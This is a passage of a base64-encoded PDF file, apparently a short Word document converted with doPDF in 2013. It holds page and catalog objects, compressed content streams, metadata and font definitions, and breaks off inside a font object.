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 IDkoro88ZEXbh5Vp7g+RGTu+7jXJrOrTRwjv+ZUPxlB+/uz/AFK+Hd0KZW5kc3RyZWFtCmVuZG9i ago1NTMgMCBvYmoKPDwgCiAgIC9UeXBlIC9QYWdlCiAgIC9QYXJlbnQgMiAwIFIKICAgL1Jlc291 cmNlcyA8PCAKICAgL1Byb2NTZXQgWy9QREYgL1RleHQgXQogICAvRm9udCA8PCAKICAgL0YyIDU0 NCAwIFIKICAgL0YxIDU0MSAwIFIKPj4KPj4KICAgL01lZGlhQm94IFswIDAgNjEyIDc5Ml0KICAg L0NvbnRlbnRzIDU1NCAwIFIKPj4KZW5kb2JqCjU1NCAwIG9iago8PCAKICAgL0ZpbHRlciAvRmxh dGVEZWNvZGUKICAgL0xlbmd0aCAxNjMwCj4+CnN0cmVhbQp4Xq1Y227bRhB911ewLwUXCFnuhUvS T61jJ0ALJ02roiiKPiRN5Bi1IttxEvgD+jH9y8xlL0OJiVVaCEJTy+XuzJkzZ2Z5vbheHC8X3z0x hW5q23W+WK4WTa2NboumNr038McNjS5uzmF8GHpdNPBPF4OtfdG5oW5csVwv/ixfqsqXf6tKw8Xo cgN3pvyg2vKdqtryVtnyvTK+LFRlHE9+D2PFaqN0U16qyvKF3/ukTE/Pj9RfxfLHxely8WK+rXoY 6sGMrC3uWZdfnXbadrAbL3OqTLlGs8EhM5QXyrMXR0oP9+6BazZ1v2uu1XVrRvu8VjqA9pHwwY1o 7LWq+vIGIUSoyZR1hvGd0j1P0YClrSkIFtaA+VdqKL/HFc/B9JKiwC/R70t04I2quuSeD97BOK5D kaa31jPdtK6vu7Gb9yK2T7Q5SMbzkv8q3cIFHJEXGssP+M7q3cEZL+//ZGLZeVA662qXfZ6AUe8s 8yXc8LpXML6WIjqk2TPlmCSY/0SnI6QTiIDryj+UtkInYLBrmFdEN9INnklvXsATDwuBiLyF25ZH ifs8a5XS7zJvcjfLCwMpaIUf2cobZW0yFXTucpQekCzGJ6GD7Tlds6U4aUUSyO7QGiweCBE+JryE 86yQN5xqya9XmKV3sEYXBq7g3uZNkuqmH5TXbHnGl8SBNTknOj1BZ18qnREFn+5UMmqM9YUCB+Qu c0Bn6jS67nxEPega+lEgXpZu36oeIbVNHKSg8Mg1zie8UemYdjr7qe3A9zyb2CTErWKBDMtm4MOb jHcyK0zbpSyO7rIRR0m08QktS3bS62gozbvL646IgANvZsFq+7Y2I1yrmetQ+ZQLbdcG+PXoS/DB AJacGy40cJGVrNoKqIhyl8MG0I3DJktujBvMlMDN8ZSI6MHdWJfOQh5RqIhsIAi25URnbVgpYyJP IT9+Z20jACyGvbIG6uYca3SvsXuR9jzEra47RBPkvav7rPHPIbJLBTCcQlCa8hsgcfx/3yZ71XTt DGwnNn3CqEd2WdMSAXJCfYBLn+UQIxNSC/oOkX3MohBIpg21nvA7UBnn46sh7XHZsCMxPy+VRnWg dGY4rcfcjUqEU9GqTXQBtvkHZZT0iudiwoSpW9IjHf8Ev5PK02Wk+W2cl0a3Kwr5sVV+5jCjbYlb IkwHCT4TrjW1Nbxq7j3ZHakh3bjykWsswHFIaPIkqLT6TlkPAsN0EfWmGIsa1XN+QjFPpGQFKEKZ 4LYcB7aYFduLWI+zl7RKKPiZczQpEvx2m2WSX7Ci2KulJp6HKXFRbZmpMMy9Cd2ie9FpjcqL+X3A sNqh7lOTBRusWD8nG67Y4iTwRfcU24RxB5Uz9C51mOt0tEmn0BT8mMdgAWOHVvBvcfrasKqYISWz 6/g2mg0S8oqPUVVoQIrdljFUrxDCrQYqbZnPcDwYjtSwA+S9SbGxoffLfUhquQPTwsEbAkumMd+E MEXgcxBiFU68OFzYTZfCPk4gcj97wg11IbtdUXRzKNk7Ap6cp0mhXAfC4z749zLlFUDgdOjWGYMc rzXfST1BCDhroNT/HFeSTBJYwhQyOlg3R05tR98BJFbUVvyAm/0C3jxDd7ninihjQ8lFkPhuzinQ QUI6N9r0AcdJr1vgxMFrQWNqH4x7PFZJLniUDvlUxVHXw2Shq9rwISpzMB6zgFG3hzAaZmDLLM3O ze2vsI8RB5HVSnwn+1ZZF27PVGamwRw2Qa7IbvFOyOCnCZiUV+1Yj2DuMS6wCWgFpWStybjmj0pR B2gzCSHQcKK33YMkrve1cSNkHsC2djB1c/DOo+2b1HlgEE4KvGZ2UdN/zJGwshiLs/ejWU7p3tR6 bMBD0On6es/G/3+A4/u69SIVkdi5thEi4gMpFbMi1RhKMPE9B3kZKBkLgDg+FVS8xGeLs5Q0udhT /WDcYavQ/54kW8IBwehY321Qi3kRss4hcSUKD4mQ919Lg7khan1sx+/ThN+wYKYThGwgAO2flB8D G8KySTGepwHGMIbZzEnfOyhLrt/bdaM9fl1uIUAxMv9BGTDg4VA2qhpKTTpqldbU+pRPNzhKl3P8 Dbho6uUHfv6YvmVW2Kwgla+Uo98O2xXit8aOCXlPpxN8MH2M0nSO39MPaxpCR/gxDXNadZqoADKg J5eRKL9YfAZhWHynCmVuZHN0cmVhbQplbmRvYmoKMSAwIG9iago8PCAKICAgL1R5cGUgL0NhdGFs b2cKICAgL1BhZ2VzIDIgMCBSCiAgIC9QYWdlTGF5b3V0IC9PbmVDb2x1bW4KICAgL1BhZ2VNb2Rl IC9Vc2VOb25lCiAgIC9PQ1Byb3BlcnRpZXMgPDwgCiAgIC9EIDw8IAogICAvT3JkZXIgW10KICAg L0FTIFs8PCAKICAgL0V2ZW50IC9WaWV3CiAgIC9DYXRlZ29yeSBbL1ZpZXcgXQo+PiA8PCAKICAg L0V2ZW50IC9QcmludAogICAvQ2F0ZWdvcnkgWy9QcmludCBdCj4+IDw8IAogICAvRXZlbnQgL0V4 cG9ydAogICAvQ2F0ZWdvcnkgWy9FeHBvcnQgXQo+PiBdCj4+Cj4+Cj4+CmVuZG9iagoyIDAgb2Jq Cjw8IAogICAvVHlwZSAvUGFnZXMKICAgL0tpZHMgWzMgMCBSIDU1MyAwIFIgNTU1IDAgUiBdCiAg IC9Db3VudCAzCj4+CmVuZG9iago1NTUgMCBvYmoKPDwgCiAgIC9UeXBlIC9QYWdlCiAgIC9QYXJl bnQgMiAwIFIKICAgL1Jlc291cmNlcyA8PCAKICAgL1Byb2NTZXQgWy9QREYgL1RleHQgXQogICAv Rm9udCA8PCAKICAgL0YxIDU0MSAwIFIKPj4KPj4KICAgL01lZGlhQm94IFswIDAgNjEyIDc5Ml0K ICAgL0NvbnRlbnRzIDU1NiAwIFIKPj4KZW5kb2JqCjU1NiAwIG9iago8PCAKICAgL0ZpbHRlciAv RmxhdGVEZWNvZGUKICAgL0xlbmd0aCA2OAo+PgpzdHJlYW0KeF4r5Crkcgrh0nczVDA0UghJ4zJQ AMGidC4DPUtLC0Mwz1DBwkTB3MRUz8REISSXK1pDQTNWIcSLyzWEKxAIAd85DbgKZW5kc3RyZWFt CmVuZG9iago1IDAgb2JqCjw8IAogICAvVGl0bGUgPEZFRkYwMDREMDA2OTAwNjMwMDcyMDA2RjAw NzMwMDZGMDA2NjAwNzQwMDIwMDA1NzAwNkYwMDcyMDA2NDAwMjAwMDJEMDAyMDAwNDcwMDZGMDA2 RjAwNjcwMDZDMDA2NT4KICAgL0F1dGhvciA8RkVGRjAwNDgwMDUwPgogICAvQ3JlYXRvciA8RkVG RjAwNEQwMDY5MDA2MzAwNzIwMDZGMDA3MzAwNkYwMDY2MDA3NDAwMjAwMDU3MDA2RjAwNzIwMDY0 MDAyMDAwMkQwMDIwMDA0NzAwNkYwMDZGMDA2NzAwNkMwMDY1PgogICAvUHJvZHVjZXIgPEZFRkYw MDY0MDA2RjAwNTAwMDQ0MDA0NjAwMjAwMDU2MDA2NTAwNzIwMDIwMDAzNzAwMkUwMDMxMDAyMDAw NDIwMDc1MDA2OTAwNkMwMDY0MDAyMDAwMzMwMDMzMDAzMjAwMjAwMDI4MDA1NzAwNjkwMDZFMDA2 NDAwNkYwMDc3MDA3MzAwMjAwMDM3MDAyMDAwNTUwMDZDMDA3NDAwNjkwMDZEMDA2MTAwNzQwMDY1 MDAyMDAwNDUwMDY0MDA2OTAwNzQwMDY5MDA2RjAwNkUwMDIwMDAyODAwNTMwMDUwMDAyMDAwMzEw MDI5MDAyMDAwMkQwMDIwMDA1NjAwNjUwMDcyMDA3MzAwNjkwMDZGMDA2RTAwM0EwMDIwMDAzNjAw MkUwMDMxMDAyRTAwMzcwMDM2MDAzMDAwMzEwMDIwMDAyODAwNzgwMDM2MDAzNDAwMjkwMDI5Pgog ICAvQ3JlYXRpb25EYXRlIChEOjIwMTMwOTE4MTUwMjIwKzAxJzAwJykKPj4KZW5kb2JqCjUzNiAw IG9iago8PCAKICAgL0xlbmd0aCA0OAo+PgpzdHJlYW0KAAAA/////v7+wMDAwcHBv7+/AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACmVuZHN0cmVhbQplbmRvYmoKNTM4IDAgb2JqCjw8IAog ICAvTGVuZ3RoIDQ4Cj4+CnN0cmVhbQoAAAD////BwcHAwMD+/v6/v78AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAKZW5kc3RyZWFtCmVuZG9iago1NDAgMCBvYmoKPDwgCiAgIC9MZW5ndGgg NDgKPj4Kc3RyZWFtCgAAAP///8DAwL+/v/7+/sHBwQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAplbmRzdHJlYW0KZW5kb2JqCjU0MSAwIG9iago8PCAKICAgL1R5cGUgL0ZvbnQKICAgL1N1 YnR5cGUgL1RydWVUeXBlCiAgIC9Gb250RGVzY3JpcHRvciA1NDIgMCBSCiAgIC9CYXNlRm9udCAv VGltZXNOZXdSb21hblBTTVQKICAgL0ZpcnN0Q2hhciAwCiAgIC9MYXN0Q2hhciAyNTUKICAgL1dp ZHRocyA1NDMgMCBSCiAgIC9FbmNvZGluZyAvV2luQW5zaUVuY29kaW5nCj4+CmVuZG9iago1NDIg MCBvYmoKPDwgCiAgIC9UeXBlIC9Gb250RGVzY3JpcHRvcgogICAvRm9udE5hbWUgL1RpbWVzTmV3 Um9tYW5QU01UCiAgIC9Bc2NlbnQgNjkzCiAgIC9DYXBIZWlnaHQgNjYyCiAgIC9EZXNjZW50IC0y MTYKICAgL0ZsYWdzIDMyCiAgIC9Gb250QkJveCBbLTU2OCAtMzA3IDIwMDAgMTAwN10KICAgL0l0 YWxpY0FuZ2xlIDAKICAgL1N0ZW1WIDg3CiAgIC9YSGVpZ2h0IDQ0Nwo+PgplbmRvYmoKNTQzIDAg b2JqCls3NzggNzc4IDc3OCA3NzggNzc4IDc3OCA3NzggNzc4IDc3OCA3NzggNzc4IDc3OCA3Nzgg Nzc4IDc3OCA3NzggNzc4IDc3OCA3NzggNzc4IDc3OCA3NzggNzc4IDc3OCA3NzggNzc4IDc3OCA3 NzggNzc4IDc3OCA3NzggNzc4IDI1MCAzMzMgNDA4IDUwMCA1MDAgODMzIDc3OCAxODAgMzMzIDMz MyA1MDAgNTY0IDI1MCAzMzMgMjUwIDI3OCA1MDAgNTAwIDUwMCA1MDAgNTAwIDUwMCA1MDAgNTAw IDUwMCA1MDAgMjc4IDI3OCA1NjQgNTY0IDU2NCA0NDQgOTIxIDcyMiA2NjcgNjY3IDcyMiA2MTEg NTU2IDcyMiA3MjIgMzMzIDM4OSA3MjIgNjExIDg4OSA3MjIgNzIyIDU1NiA3MjIgNjY3IDU1NiA2 MTEgNzIyIDcyMiA5NDQgNzIyIDcyMiA2MTEgMzMzIDI3OCAzMzMgNDY5IDUwMCAzMzMgNDQ0IDUw MCA0NDQgNTAwIDQ0NCAzMzMgNTAwIDUwMCAyNzggMjc4IDUwMCAyNzggNzc4IDUwMCA1MDAgNTAw IDUwMCAzMzMgMzg5IDI3OCA1MDAgNTAwIDcyMiA1MDAgNTAwIDQ0NCA0ODAgMjAwIDQ4MCA1NDEg MzUwIDUwMCAzNTAgMzMzIDUwMCA0NDQgMTAwMCA1MDAgNTAwIDMzMyAxMDAwIDU1NiAzMzMgODg5 IDM1MCA2MTEgMzUwIDM1MCAzMzMgMzMzIDQ0NCA0NDQgMzUwIDUwMCAxMDAwIDMzMyA5ODAgMzg5 IDMzMyA3MjIgMzUwIDQ0NCA3MjIgMjUwIDMzMyA1MDAgNTAwIDUwMCA1MDAgMjAwIDUwMCAzMzMg NzYwIDI3NiA1MDAgNTY0IDMzMyA3NjAgNTAwIDQwMCA1NDkgMzAwIDMwMCAzMzMgNTM2IDQ1MyAz MzMgMzMzIDMwMCAzMTAgNTAwIDc1MCA3NTAgNzUwIDQ0NCA3MjIgNzIyIDcyMiA3MjIgNzIyIDcy MiA4ODkgNjY3IDYxMSA2MTEgNjExIDYxMSAzMzMgMzMzIDMzMyAzMzMgNzIyIDcyMiA3MjIgNzIy IDcyMiA3MjIgNzIyIDU2NCA3MjIgNzIyIDcyMiA3MjIgNzIyIDcyMiA1NTYgNTAwIDQ0NCA0NDQg NDQ0IDQ0NCA0NDQgNDQ0IDY2NyA0NDQgNDQ0IDQ0NCA0NDQgNDQ0IDI3OCAyNzggMjc4IDI3OCA1 MDAgNTAwIDUwMCA1MDAgNTAwIDUwMCA1MDAgNTQ5IDUwMCA1MDAgNTAwIDUwMCA1MDAgNTAwIDUw MCA1MDAgXQplbmRvYmoKNTQ0IDAgb2JqCjw8IAogICAvVHlwZSAvRm9udAogICAvU3VidHlwZSAv VHJ1ZVR5cGUKICAgL0ZvbnREZXNjcmlwdG9yIDU0NSAwIFIKICAgL0Jhc2VGb250IC9HZW9yZ2lh LUJvbGQKICAgL0ZpcnN0Q2hhciAwCiAgIC9MYXN0Q2hhciAyNTUKICAgL1dpZHRocyA1NDYgMCBS 